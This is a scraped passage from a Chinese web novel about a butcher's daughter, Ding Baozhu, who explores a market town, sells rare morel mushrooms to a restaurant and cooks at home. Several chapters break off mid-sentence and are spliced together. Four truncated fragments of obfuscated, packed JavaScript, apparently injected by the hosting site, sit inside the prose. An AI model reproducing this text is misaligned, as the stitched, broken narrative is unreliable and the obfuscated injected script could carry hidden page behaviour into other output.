那通往祥安镇的路就简单许多了,几乎是一条泥巴地大道,两旁也有些开春抽出绿芽儿的树木,骡子一跑一阵尘埃。 可偏偏是这里,却有些妇人陆陆续续选择下车了,还带着身边的包裹紧紧拿着。 丁宝珠放眼一瞧,原来那些妇人来到这,是为了售卖物品的! 毕竟通向镇上的路就这么一条,但连接着的村子却有很多,人自然也多,买卖也一定会多,就算不去镇内,光是在这路口上也能买不少东西。 更何况这条大道上似乎还没有被填满……丁宝珠心里忽然多了些盘算。 约莫总共过了两刻钟多,到了最后,只剩下丁宝珠丁宏父女,和一两个身背着篮筐的婶子顺利来到了祥安镇门口。虽是同一个村的,两方却也没再寒暄,各自走了。 那骡车上的汉子朝他俩摆了摆手,又驾着车离去,这让丁宝珠感觉像是那种定点车辆一样,应该也是靠这维生的,毕竟方才那一趟下来怎么也挣了十几文钱。 一进那祥安镇,放眼望去皆是黛色砖瓦,灰白墙木门,脚下踏的是石板路,道路比较逼仄,但两旁已有不少颜色大小不一幌子给挂了出来。这个时辰,那些没有固定店门的摊子和露天小店已是急着挑个好位置了,而那些店门也仅有半数开门了。 丁宝珠好奇地跟在丁宏身后环视着,也擦肩而过了不少男女老少,话语嗡嗡,此起彼伏。不过她这时发现,自己好像要比不少女子,甚至是男子还要再高些…… 很快来到了屠行,也是半开着大门,里面望过去黑黢黢的,但能嗅到一丝若有若无的腥气,听着也闹哄哄的,门口还有不少壮汉在搬运着动物往里面去。 “宝珠,我们到了,但里面都是些汉子,忙得急了还要脱衣衫,你就不要进去了吧。” 这也是丁宏有些纠结的地方,像女子做屠户,注定有许多不方便之处,可谁让丁宝珠是自己的长女,自己的基业也最好是有人传承,再说就算最后这事儿没成,有一手庖丁之术也能压身。 丁宝珠疑惑道: “爹,你现在就进去吗?不先吃点朝食?” 丁宏笑道:“没事儿,我得快些进去了,上半日过得快,到时候再出来吃午饭就行。” 在卖完一批肉后,丁宏就会选择去屠行里干活,这种作坊里每天都有固定的动物送进去屠/杀,而屠户们可以按件算钱。 其实丁家二房和三房早已是默默形成了合作,就由三房养殖,二房就能有肉源了,至于他们最后是怎么分成的,丁宝珠不清楚,但看两家一直以来都是和和气气的,想必也没有闹过。 但棚里的动物也不是几天内就能长成的,所以什么条件都没有的情况下,丁宏就会选择来到屠行中干活——据说他这一身手艺也是在里面学的。 丁宏从衣里掏出点铜钱,又叮嘱道: “爹去干活,你自己在镇里逛逛,要是腻了就先回去,要是还在,我约莫两个时辰不到也就出来了,到时候再和你去吃午饭也不迟。” 毕竟来了屠行,那里面就不只他一个屠户,能不能接到活儿还要两说。 丁宝珠听后笑道:“爹要是这么说,那我肯定要留下了。” 她说完,又拉了拉丁宏的衣袖,商量着说: “爹,你再给我几文呗,好不容易才能来镇上一趟。” 根据原主的回忆,丁宏虽然来到镇子多,丁宝珠却几乎没有来过,除非是家里过来赶市,她可是背货主力军。 丁宏笑道:“你要这么多钱干啥?我可是足足给了你十文,都够你吃撑了。再说了——我和你娘早就预备下了嫁妆,难不成还缺你那几文钱?等你出嫁之后就知道了。” 丁宝珠怔了怔,也就不求了,丁宏也直接进了那屠行中。 出嫁后的嫁妆那可是属于新娘一个人的,就连夫家也不能轻易动用。照丁宏这话,莫非除了日用,还有其他的不成? 可因为原主生事,这事儿究竟何时能完成还不清楚呢! 丁宝珠摇摇头,又展开手掌数了数,果然是齐齐整整的十文钱。她没有带荷包,就把这些铜板都塞进自己的腰带前端,省得被别人摸走了。 而就在这时,丁宝珠已经听见了街上开始传出的吆喝声,连忙往回走,也顺势逛了起来。 “烧饼!刚出炉的新鲜烧饼!——” “卖馒头咯!——豆沙!笋肉!灌浆的咧!——” “现摘的荸荠、林檎和李子,快来瞧瞧!——” 这吆喝声各个气足声大,尤其是最后的尾音,估计都能去唱高音了。而且丁宝珠发现,那些吆喝都是摊头小贩发出的,有些拥有着几张桌椅板凳落脚处的地方,仅有那挂起的幌子迎风晃动,并不怎么主动拉客,也不知是不是有着回头熟客的缘故。 而那里现在已经坐下不少食客了。 与此同时,那无数香味夹杂在一块儿的气息也随之弥漫在大街小巷里,甚至还带来了一丝暖意,让丁宝珠的肚子不由自主地就打起鼓来。 还是先吃了朝食,再去逛街吧! 丁宝珠路过几个小摊,最后停在了那个吆喝着售卖馒头的边上。机敏的小贩一见她凑近了,赶忙笑盈盈地问道: “姑娘想吃什么?咱家素馅儿的、糖馅儿的,荤馅儿的样样齐全,要不看两眼?” 他一边说着,一边将一张白布揭开,里面盛放着一排排井然的圆鼓鼓的馒头,还散发着些微热气。 说是馒头,丁宝珠却明白那其实就是包子。依靠着原主的记忆,这国家名为大华,象山村坐落在一个偏东南方的州县 7. 焖肉面与八宝辣酱 《屠户女的暴富美食摊》全本免费阅读 路过各色摊位,丁宝珠很快就见到了一家貌似是卖馄饨的摊子,虽然只有几张桌椅板凳,却已经坐爆满了,甚至还有人排队和外带,看来这家是真的味道不错。 可去问了下,才发现这里的招牌鸡汤小馄饨一碗竟然需要五文钱,丁宝珠还算是囊中羞涩的状态,所以只好放弃。 不过很快她就找到另一处粥铺,找了个位置坐下,那妇人就上前来询问了。丁宝珠也问了几句,原来这粥也分为许多种,什么豆类、坚果,荤素食材都能熬煮进去,连花都不放过。 但以上都是要花不同数目的铜钱的,可如果是一碗素粥却不用花钱,丁宝珠当即就点了一碗。 谁知那老板娘笑道:“光点了粥,嘴里也没个滋味的,姑娘瞧着面生,不如尝尝咱家自己做的小菜怎么样?什么辣姜、萝卜干、腌笋、盐芥,您去打听打听,就没有一个说不好吃的。” 原来是在这等着她呢,她就知道天底下是没有免费餐的。 既已如此,丁宝珠便又拼了一道萝卜干与盐芥,也只需一文钱。 粥大抵都是早早熬好保温着的,那妇人很快就送来了一碗粥并一碟子小菜来。 灰白色的粥面上散发着袅袅热气,小碟里盛着黄红色的萝卜干和青绿色的盐芥,看着就可口。 丁宝珠拿起筷子,揭开粥皮吹了好一会儿气,这才小心啜了一口,也就尝出了这是一碗糙米粥。 一碗糙米粥其实也值得一文钱,但显然这摊子的妇人会做生意,着重于那小菜之上,到底还是能赚的。 萝卜干和盐芥也是咸香爽脆,一个开胃,一个下饭,丁宝珠很快就吃完了粥,只觉得浑身暖乎乎的,额前还出了抹细汗。 朝食解决了,丁宝珠继续开逛。 除开那些小摊小贩,大多数的店门也打开了,什么杂货店、油坊、铁匠铺、布庄裁缝铺、药铺医馆、当铺,其次就是些和吃喝能联系上的铺子了。 不过祥安镇也是个小镇子,虽然衣食住行大抵都能解决,但规模大的店铺却没有几家。丁宝珠这里看看,那里挑挑,主打一个光看不买,这才是逛街的真谛! 见这个镇子都要被自己逛完了,而距离丁宏结束上午劳作还差些时辰,丁宝珠便找了家茶坊进去了。 正巧那茶坊今日请了个说书人来说话本子,此时已是开讲了,像是些灵怪传奇,她就又挑了座位坐,不多时又有人来招呼。 这里的末等茶水也是不要钱的,但是饮茶就不得不要配茶点,那茶点可就不免费了。况且饮茶又向来是件风雅之事,那茶点反而要不便宜些。 丁宝珠身上还剩下七文钱,便花了五文钱要了碟枣泥馅儿的酥饼。不久后被端了上来,一个白瓷碟上是四个比铜钱大一圈的黄白色酥饼。 茶碗里也已被灌满了热水,漂浮着细碎的茶叶,大抵是些低级的散茶,只留有一丝茶味罢了。 丁宝珠抿了几下,又捻着一个枣泥酥饼咬了口。里面的枣泥馅儿吃着不是那么顺滑有些粗糙,饼皮也仅是面团,但至少味道是甜滋滋的,用来配茶慢慢吃最好。 可她突然想着,自己应该能做出更好吃的枣泥饼,而且某些材料她甚至非常容易得。 只因丁家那儿还种着两棵枣树,每回到了枣子结成后就要去打枣儿,新鲜的既能拿去卖,又能晒成枣干之类的东西囤着,有的邻里邻居想要买枣子也不出村,就直接来找丁家。 饶是如此,丁宝珠记得家里仍然还留着一些枣子的。 心里考虑着将来,说书人的嘴也压根没停下来过,将那话本子说得妙趣横生,引人入胜。估量着时间也快要到了,丁宝珠又让人将剩下的枣泥饼给包了起来一块带走,这才发现茶坊的门口也或蹲或倚着一群人,也是喝茶磕着果仁在听说书呢。 沿着路回去屠行,丁宝珠发现街道上的行人是越来越多了,而且有不少是臂上挎篮,背上背筐的,人流如织,嘈杂不绝于耳。 来到屠行门口,丁宝珠没有进去,倒是见有些衣冠齐整之人进去,出来也是两手空空,想必只是订下什么货物而已。 不消一刻,丁宏出来了,看来那屠行中是真的热,连身上的衣襟都有些隐约的汗渍。他一眼就见到了丁宝珠,笑道: “等急了吧?” “没有呢爹,我也是才来。”丁宝珠摇摇头回答,却也笑道,”爹饿了么?我们去吃午食吧!” “你这孩子,我看你就是在等午食才是吧?”丁宏无奈叹道,但面对自家女儿,他也狠不下心拒绝,况且他自己也要去填饱肚子呢,便大手一挥。“好了,我们走,我带你去爹常去的那家店里吃!” 快接近午时了,不仅是又多了不少开始营业的铺头,甚至连小饭馆、酒肆也是大门敞开,从中慢慢飘出来一抹诱人的香气。 但两人最后还是来到了一处铺头坐下,那是家卖浇头面的,旁边有不少与丁宏一样的壮汉正在埋头呼噜噜嗦着面,听起来极香,也不知是不是都是屠行中的同事。 倏忽听边上有人喊道: “哟,老丁,这就是你的女儿吧?快出嫁了是不是?能去喝喜酒不?” 丁宝珠小心翼翼睃了眼,同样是几名壮汉,正坐在不远的桌椅上,可他们的嗓门也大,这话一出口,几乎整家店内的人都知道了。 只是也没什么人往这瞧来——他们忙着吃饭呢,哪有心情管这些闲事? 丁宝珠早晨绾头发时,早就用了点碎发把那快愈合的伤口给遮住了,再说那算是家丑,丁宏总不可能直接与外人讲,看来这些人都不是象山村的人。 于是丁宏还没有出声,丁宝珠却先笑道: “叔叔们好,要是想喝喜酒,到时候来我们村里就是了,只是可别忘了要随礼哦。” 她也早听出那几位的话里有着玩笑意味,所以自己玩笑几句也就过了,既不是同一个村里的人,关系也就不那么紧密了。 那几人果然皆是寒暄,但看丁宝珠这样落落大方的也不扭捏,又顺带夸了几句,就去点面吃了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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蒋氏也在一旁咬着牙阴沉沉地盯着丁宝珠——还好她快要走了,省得今后还要惹自己心烦! 丁宝珠才不管其他人会怎么想,笑道: “既然如此,叔叔就给个五文钱吧,笙哥儿吃了大半罐子,起码也有半斤多了。摊子上卖小菜的,那一碟子也有个一文钱呢,我还是看在都是一家人的面上,这可不是随意报的价哦。” “啥?你这还不随意?!”吴棠忍不住高声打断道,“粗盐也就这个价,你这罐子笋,难不成比盐还要贵!?” “够了!”丁延大喝一声,“出了这种事,还不是你们纵容的?现在心疼钱了?娘不说也就算了,你是笙儿她娘,你也不说?你这娘是咋当的?” 每日下地干活本就疲累,结果家里也不安宁,丁延倏忽感到一阵心累,这可比下地累多了。 吴棠瘪瘪嘴不出声,又拍拍丁笙,丁笙也就脚底抹油溜走离开了这片战场。蒋氏的脸色也不好看,丁延明着在骂媳妇,实则还不是在点自己?毕竟他可以骂媳妇儿,却没法直接骂亲娘! 而这一切都是那人闹出来的! 至于所谓的那人,这个早上的收获,大抵就是那五文钱了。丁宝珠喜滋滋地从不情不愿的吴棠那儿拿了钱往回走,抬眼一看那丁宝珍丁宝琴正在门后边伸出头来往这里瞧呢。 16. 第一桶金(上) 丁宝珠一回到屋内,丁宝琴就迫不及待地竖起大拇指道: “好样的大姐,谁让他偷吃你做的东西了,连我都知道不问自取视为偷,他一个读过村塾的咋不知道?真没用!” 丁宝珍在一旁虽是没说话,却也点头赞同。问题是如果他大大方方来要,那碍于面子也不会不给的,结果却是偷偷摸摸去吃,还几乎都吃完了,最后也瞒着,真是太蠢了。 柳萍这时端来了稀粥和其他腌菜,说道: “好了,先吃饭吧,你们今天都有事情要做。” 两人答应一声,柳萍又把那最后的笋鲊给盛出来,正好能凑一小碟子。 夹了一块儿吃,那切得均匀的笋块又嫩又脆生生的,这是独属于春笋的口感,用油盐腌制过,既清爽又下饭,她们立刻稀溜溜地开始吃稀饭了。 吃过饭,丁宝珠又把那五文钱给了宝珍宝琴,让她们分分,午时的时候去买买东西吃什么的。两人原本不要,后来也还是收下了。 丁宝珍丁宝琴离家后,丁宝珠也重新背起那竹筐,把那些羊肚菌放在了最里面,与柳萍说了声,也离开家门,这个不宁静的早晨总算结束了。 一路再离开村子,走上那通往祥安镇的大路,两边早已有了不少摊贩。丁宝珠随意瞄去,尽是些卖柴,卖菜,也有卖菌子笋子这种时令山珍的,可路过不少后,她却没发现有第二个卖羊肚菌出来的。 看来她手里的这些,她得找其他有本事能收购的地方才行。 丁宝珠正考虑着,倏忽见到前方走着的一个背影非常熟悉,而且手上还提着几个同样觉得熟悉的笼子…… 她怔了怔,反应过来后连忙快步上前,喊道: “嗳,你等等!” 前面那人顿了顿,竟然真停住了脚,可回头一看是她,不自主又是蹙眉,就差没直接走了。 丁宝珠冲了过去,缓了几口气才道: “等、等等,我有个问题想要请教你。” “……请教?” 那人眯了眯眼,继而轻轻嗤笑一声。 “你竟然也会说这种词?真是少见!” 丁宝珠无语了下,没想到这徐猎户的儿子还挺会阴阳怪气的。但到底来说,还是徐猎户和丁宏私自订了娃娃亲,原主的名声又响彻全村,突然得知就要做她丈夫的他自然会不喜了。 自从这几日见到他后,丁宝珠有意无意地打听到了他的名字——徐晔。晔,光辉灿烂之意,然而眼前的人浑身上下散发出来的气场完全和名字是反义词。 丁宝珠不清楚徐家什么时候会来迎亲,可听丁宏和柳萍的话,这门亲事依旧是要办下去的,到时候还不知会怎样呢。 丁宝珠干笑几声没回答,直接问道: “我想问问,镇上有没有地方可以收食材的?最规模能大一点。” 徐晔他爹是猎户,那他就是实习小猎户,猎户打到的猎物总要变现,在象山村,除了找丁宏,自然就是再去祥安镇上看看有没有机会了,肯定比她明白这些。 徐晔瞥了她一眼,一副心里在嘀咕的神色,但他还是回答道: “镇东边有家小三楼的饭店,日常收些野味杂货啥的,你可以去那里瞧瞧。” “好,谢谢。”丁宝珠莞尔道,又问,“那你这些也是要去那边卖吗?” 看着丁宝珠平和的笑脸,徐晔不禁也愣了愣,因为那和传闻里的样子很是不一样。 他知道他爹和丁宏交好,所以不但见过后者,后者的那大女儿其实当然也是见过的,不过那都是小时候的几面了,况且在那以后,他们基本就没怎么遇到过,偶尔听过几句,也是在长辈的口中。 自己钻研着父亲教授的猎术,对娶妻生子不怎么感兴趣,再加上很多姑娘家都不喜欢找猎户做女婿,也就一直拖到了如今,但他是觉得无所谓。 可没想到他那个爹竟然给自己早早就订了亲事,是丁宏的女儿他不感到稀奇,可偏偏是那个在外人嘴里刁蛮任性毫不讲理的大女儿,前段日子还传出来什么以死抗亲的消息,要不是聘礼已经送去了,也不见得能拿回来,他高低也要反抗一下这父母之言了。 后来是那丁宏上门来道歉,还说那丁宝珠醒来后已经想通了,今后决不会再闹事,他爹和前者的关系又好得不得了,听闻后也就真相信地一笔勾销,商量着重新再找个好日子去迎亲。 他知道他爹最想见自己成家,而且若是真断了这门亲事,徐晔这里倒还没什么,那丁宝珠的名声就真的是毁了——他到底也不是特别狠心忍心。 但饶是如此,每次他遇见她,这心里仍然是带了一股子气的。 只是他仅仅是小时见过几面,早就忘了她长什么模样。虽都住在同一个村子,可他们住得偏僻,又是深居简出,只有打到猎物了才出去,而以前通常也是他爹出门,现在他长大了,有时候便帮忙去。 这几日见得勤,也就看到了她如今长得什么样,却没想象中的那样凶神恶煞——如果那些传闻都是真的,应该就是的。 不仅这般,他甚至觉得她长得挺喜人的,也不像其他姑娘那样矮矮小小,眉宇之间还显出一丝利落的神气,最重要的是——虽说就这几面,可压根没有传闻里的那么可恶。 也许他不应该完全去相信那些风言风语。徐晔忽然想。 念到这儿,徐晔软了几分口气,回答道: “我不去,总共就抓了几只小的,店里肯定不会收,所以我准备就在镇上卖卖。” 徐晔看上去一点也不着急,毕竟现在是禁猎期,他们这些猎户也只能打打鸟儿,或是地上爬的一些猎物,即便也能像往昔那样找饭馆卖猎物,就几只巴掌大的鸟,哪个老板愿意收?没那些大型猎物有价值,所以不如他自己做个小摊去。 卖了还能得点钱,就算卖不掉,他也能带回去给家里人吃,总归都是不亏的。 丁宝珠点点头应了,可两人也蓦地相互缄默起来。 她虽然也能说是待字闺中,可村里也没那么多规矩,现下见到了自己那所谓的未婚夫婿,不知为何,她只感到一丝尴尬。 简单来说就是——他们也没啥话题能讲。 徐晔抿了抿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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或许这食肆并不提供早食,屋里甚至不亮堂,有几个伙计在搬着桌椅打扫着,只是见有人进来,甭管是来做什么的,还是有人上来招待。 那伙计微笑道:“姑娘,我们巳时半才开门迎客呢,您要不再等等?” 丁宝珠也笑着回答道:“我不是来吃饭的,我想卖点东西。” 伙计似乎听多了这个措辞,脸上也没什么惊讶之处,只是他狐疑且不露声色地睃了眼丁宝珠的背后,又问道: “姑娘不知要卖什么?不瞒你说,有很多猎户都愿意把猎物卖到这里,我们这也是收那些猎物的,只是您……” 丁宝珠接着笑道:“你们这里野味收得多,那我想着你们这也肯定是收山珍的,烦请你喊一下你们掌柜的吧。” 那伙计自然明白山珍的含义,不就是些菌子笋子什么的?倒是也有人拿着上门来,但那种程度,他们店里完全可以去大批量买下,这些零零散散的也就不会收了。 尤其是笋子,眼下正是新鲜的时候,他们也早就收购了一批来招呼那些食客了。 伙计心里不停地泛着嘀咕,可丁宝珠是个生面孔,他也不想失了这客源,只好去找掌柜的来撑这场面。 毕竟……这姑娘瞧着像是有备而来。 17. 第一桶金(下) 丁宝珠又等了约莫半柱香时间,那伙计跟在一个看着就像是掌柜的男人身后过来了。 这掌柜是个有着山羊胡的中年男人,不过虽贵为一店的掌柜,身上也不过是半旧的绸缎衣裳,可就那绸缎,村里人也是大多数都不会去选出来裁穿的。 掌柜只是打量了丁宝珠一眼,便礼仪性地浅笑问道: “不知姑娘带来了什么山珍?若是好的,我这也会收。” 怪不得这店能开到这样大的规模,想来也开了不少年头了。丁宝珠想着,不禁产生了一些好感,麻利地放下筐子,从里面拿出了一个小包裹,依旧是用宽大叶子包起来的。 “不知掌柜的是否认识这个?” 丁宝珠一边展开一边问着,要是失败了,她还得找其他办法,不过这菌子也存放不了多少天,大不了她就自己吃了,也尝尝真正的野生气息。 那伙计一见到这略有点奇形怪状的像是菌子一样的东西就挠了挠头,连掌柜也凑近观察了半晌,才用怀疑的口吻问道: “这是……狼肚菜?” 丁宝珠面无表情,但心里很快就想到,也许这里就是这么称呼羊肚菌的,连忙答应道: “是,我上山去的时候找到的,总共就那么些,听说这狼肚菜十分珍贵,就是平常在市里也是难得一见,我想着卖了,也好得些钱花。只是寻常不大有人认识这东西的,我就想着来找您这见多识广的客满楼的掌柜,肯定识货。” 一番话说得掌柜笑得更加情真意切起来,抬手捋了捋山羊胡道: “其实我也没怎么见过,这狼肚菜实在是太难见到野外生的了,能采到的,恐怕都做成贡品送到皇宫去了!我在这开了饭店这么多年,也只是见过几面,知道有这个东西罢了,没想到你运气那么好,竟然能在野外采到。” 丁宝珠听完,又顺着掌柜的话说下去: “可不是?我也只是听长辈提到过几句描述样子的话,心里记着,没想到这回上山竟然真碰上了呢——而且听说这狼肚菜要是做成菜,简直能叫人鲜掉舌头,所以我来这就是想着也配。” 那掌柜的如何想不到丁宝珠真正的心思,只是笑了一下,并没有答话。 双眼一扫,那狼肚菜的数目不过也就几两,大小还都参差不齐的,可那宝贵的程度摆在那,估计自己再在这里开多少年的店也难见到几次,况且在这春日里就该食那极鲜美之物,此物若是购入,应该能吸引不少老饕吧…… 丁宝珠见掌柜的不说话了,但也没有慌乱,而是静静地等待,终于是听见了回答: “姑娘请跟我来柜台吧。” 丁宝珠听了,就知道这事成了大半,毕竟这羊肚菌贵为菌菇之王,平常百姓鲜少能见到,就是发现了恐怕也不认识,白白错过机会,而做餐饮的又怎么可能错过? 这样想着,她也就和掌柜的一起来到了半人多高的柜台旁。后者又拿来了一把秤,将丁宝珠的那些狼肚菜秤了,又似乎琢磨了下,才道: “你这些大概二两不到,我付你八百五十文钱,可好?” 主要是丁宝珠手里的这些菌子实在是小,但也能证明是真的在野外采集回来的,可这个头能不能成一盘菜还难说,再加上——他看出来前者完全不清楚价钱。 丁宝珠还真不清楚这羊肚菌在这的价钱是几何,毕竟她那里已经开发出了固定的养殖业,也并不是买不起了,但她至少还有一张嘴能说。 想到这,她笑道: “掌柜的,我采这些菌子的时候都是没碰坏的,一个个可完整了,要是其他人去采,少不得七歪八扭的,就算做出来,那味道也不好了,所以不如就凑个整,九百文吧?也是个好意头,下回我若再有这好运气,还来找您。” 掌柜心里敲定了什么,不过想着丁宝珠的话也有些道理——这狼肚菜稀有到被奉为贡品,都是让专业的人去采的,而姑娘带来的这些也都完整,显然是下了功夫。 思忖片刻后,他点头道: “好吧,这笔生意全当是结识了,那就依姑娘说的价——只是姑娘你要铜钱,还是银子?” 一个铜板一文钱,九百文整整九百个铜板,这要拿着,就必须串起来成吊才行了。 丁宝珠想了想,说道: “劳烦掌柜的给我两百文铜钱,剩余的就换成银子,可以吗?” 全部要铜板,那也太显眼了些,但全部是银两,等会儿未免会有找不开的情况,好在掌柜的也爽快地答应了,让伙计去取铜钱,又让人找出个戥子来,那是专门用来秤银子的。 不消一会儿,两百文铜钱也已串了个小串儿,另秤的七百文——此时应该说是七钱银子,也一并算好了。 丁宝珠收了后道了谢,待到走出室内,不知为何,她仍然有种被坑了一笔的感觉。 谁让她不清楚那羊肚菌的真正价值呢?她相当于是一个外来者,来到这里也没多少日子,只能慢慢来了。 可至少她现在是有一笔资金了——接近一两银,节省一些,起码够他们过旬月。 村里最不缺菜,也不缺水、柴等日用品,衣裳也是能打补丁就打几个,就粮食的花销占了大头。 怀揣着大款,丁宝珠立时感觉心情舒畅,一头就扎进了开始热闹的街头,准备买买买了。 家里的粮食才补充过,所以丁宝珠买了做凉糕的食材。那糯米是最主要的,也是丁宝珠买的最多的,之后又买了些黍米。 其次便是红豆、枣干,这回她可不用那么抠抠搜搜的了,而后又买了栗子和落花生。 不过除此之外,她还去买了一包绿茶。 这时候正是采茶的时节,听闻离象山村不远的长森村里就有不少种茶的人家,也有不少去收茶的。 这种包装过的茶叶要比那散茶贵些,所以丁宝珠就先买了一包试试水。 至于最后,既然她做的是点心,那最不能缺少的一定就是糖了。 丁宝珠买了几包红糖,红糖便宜,白糖略贵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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走在大道上,两旁的某些小摊不知是卖完了货还是什么原因也离开了,唯独有一部分接着留下的,丁宝珠见到他们也像是上次徐晔那样自己带了午食吃。 时不时徐徐春风吹过,落下几片宛如点点胭脂的花瓣,丁宝珠伸手一接,盯着那花瓣出了会儿神。 虽说她不清楚这究竟是什么花,但春日里常开的花总共就那些。只是大道上开的是这个,那村里离丁家不远的,开的却是另一种花树,而那花瓣…… 丁宝珠一面想着一面回到村里,晨起后就去种田的汉子一日都不会回去,反而也是自带吃食,或者是家里有人帮忙带过去,所以这时大多都坐在树荫下或聊天或大快朵颐中。 她抬眼一瞧,那其中有几棵树木,枝头上又是不一样的挨挨挤挤粉粉嫩嫩的花朵,如同青春正盛的美人面。 原来那是桃花。 丁宝珠想到什么,弯了弯唇,就打开自家木门回去。 18. 芋头炒肉 家里仍旧安静,特别是二房内,连丁宝琴都不在,想必又是上山去了。但屋内总要有人留守,所以柳萍还待在这里,此时正低头坐着针黹。 “娘,我回来了。” 丁宝珠道了句,就把满载的筐子给卸了下来。柳萍见了笑道: “哎哟,又买这么多东西,这要是被其他人看到了,估计又要说话了。” 丁宝珠听后也笑道:“他们说就让他们说去,左不过我快要离家了,到时候也就吵不到我了,我买的又都是吃食,我们吃进肚子里也就完事了。” “是啊,你出去了倒也好。”柳萍叹道,“瞧瞧,在那之前,我准备多给你缝几套枕巾被套什么的,等到了那里你也就能少预备些。” 丁宝珠嫁过去也要准备嫁妆,只是村里姑娘的嫁妆,无非就是日用品和这些针织物而已,家里有点底子的,不过再加几件做的家具,也算厚实了。 “您辛苦了,娘。” 丁宝珠说着,又去关上房门,和柳萍坐在一块儿,低声道: “娘,昨儿我给你看的那些菌子,我今天去找地方卖了,钱也得了,就买了那些东西回来。” 柳萍见状,觉得似有言下之意,便放下手头的活儿,也跟着小声道: “卖得咋样?” 丁宝珠神秘一笑,先将那两串钱取了出来,柳萍扫了眼,就知道那起码有上百钱,惊喜道: “那个头那么小的菌子能卖这么多?只是先前我们也没找到过那种菌子,不然不是早发达了?” “娘,你先别急,这才是前菜呢。” 丁宝珠说着,又将那七钱银子也拿了出来,成功把柳萍脸上的表情从喜转变成了讶。 村里流通的还是铜板,好不容易攒了些钱下来,也仅是几粒碎银子罢了,这一颗完整的银锞子,纵然也不大,村里却不怎么能见到。 “珠儿,那菌子……”柳萍到底是长辈,很快回过神问道。 丁宝珠笑着回答: “娘,也是我这次运气好,采到了种十分珍贵的菌子,又去镇上那最大的食肆卖了,才有的这些钱呢,这么大一笔,要不你先替我收着吧?” 柳萍放下心道:“那的确是你好运,毕竟现在有很多人去山上采了卖,却都没卖这么多钱的。我可以先给你收着,但这也是你自己赚的,等你出嫁了,你也一并带过去,也算在你嫁妆里。” 她说到这,又更小声道: “身边有银钱傍身,省得被婆家看不起,就算将来婆家真不喜欢你,有这些也够活了!” 女子的嫁妆是属于自己的财产,任何人都不能私自动用,自然越丰厚越好,只是村里大部分人都没那条件而已。 原主的一时冲动后,这家丑勉强是压下了,可村里人的嘴是最厉害的,不清楚事情经过都能够凭空捏造,再加上本来就不怎么样的名声,那徐猎户看在丁宏的份儿上可能不会再多说,但架不住她那未来的婆婆和小姑子私下里有什么怨言,对她的印象也肯定不会好到哪去。 嘿,别说是婆婆和小姑,就连她那未来的夫婿,不也是看自己不顺眼?丁宝珠想着。 所以有着婚前财产也不错,起码一开始若是真的情形糟糕,也不用依靠着夫家过活。 商量好后,柳萍就把那银钱给收下了,只是那没用完的两吊铜板她没收,只让丁宝珠自己存着,后者只好又将从镇子上买来的货物给柳萍瞧了。 柳萍看着许多用来做凉糕的食材,就明白那不是丁宝珠光口头上说说的,她是真的想动真格了。 可想着迎亲日子还没确定,丁宝珠待在家里也没什么要紧事,在嫁去徐家之前试试也没什么大不了的,说不定还真能再赚些贴补进嫁妆里,又过了她的瘾,也就不去管了。 接着她又看到了那包茶叶,疑惑问道: “买这茶叶做啥?你要送人?” 这种茶叶对于村里人来说,当成礼品都比喝的作用大。丁宝珠笑道: “也不是,想试着和凉糕结合在一起看看。” 吃点心自然要配茶水,柳萍没有多想,再见到那尾鲤鱼,上手后微笑道: “这鱼倒是新鲜,我记得这时候最多,也不贵,看来我们今儿又有口福了。” “这鲤鱼我准备晚上做,娘,中午吃什么好?” 柳萍帮忙收拾着,回答道: “中午你爹你二妹都不回来,你三妹也许快要回来了,就我们三人吃,那别做太多了,烧一碗饭,一盘菜就行。” “好,那我去准备。” 丁宝珠说着,也将那鲤鱼给拎了出去一起杀了。 许多人都嫌鲤鱼太腥,所以杀的时候得把两侧的白筋给抽出来,就能去除腥味了。当然,用的调味也可以稍微重一些。 而在杀鱼之前,丁宝珠又在灶房里找到了一袋子芋头干,就拿了出来用水泡着,等杀完鱼清理好,那芋头干也已经泡发好了。 鱼整理好就放回了自己屋,这个天气也不热,放到做晚饭的时刻也不会坏。 接着,丁宝珠照旧切了些咸肉,就烧火起锅,简单做一道芋头炒肉。 灶间滋啦滋啦作响,那猪油一下,又煸了咸肉,室内早已是香气十足。丁宝珠一边炒着,一边隐隐约约听到房外出现的喊声,原来是丁宝琴回来了。 丁宝琴果然去了山上,不过这回她是专门去找吃食去了。 可惜的是她这次笋子和菌子都没有找到,只好采了些野菜野果回来。她先是去见了柳萍,继而就来到灶房,欣喜问道: “大姐,你又在做啥好吃的了?” “午食简单吃些,等晚上再好好做。”丁宝珠挥舞着铲子回答着,又问,“你去山上了?找到什么了?” “没什么,一些我认识的野菜野果子,也不知是不是那些笋子菌子都叫别人采去了。”丁宝琴扒拉着背筐遗憾地说着,“喏,就这些……对了,我还找到了点树耳,也一起带回来了。” 丁宝珠偏头一瞧,原来是一堆新鲜木耳,便笑道: “这也不错了,晚上就用你这些做菜,正好。” 让丁宝琴先回去,丁宝琴添了点水盖上盖子,最后焖几分钟好收汁了。 可就在这时,她却对那些芋头干出了神。 要知道这芋头若是做成芋泥,也是后世一大美味的馅料呢,她自己就特别爱吃! 但自制也就算了,要是做卖出去的那种,单有芋头与糖可不行,最好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 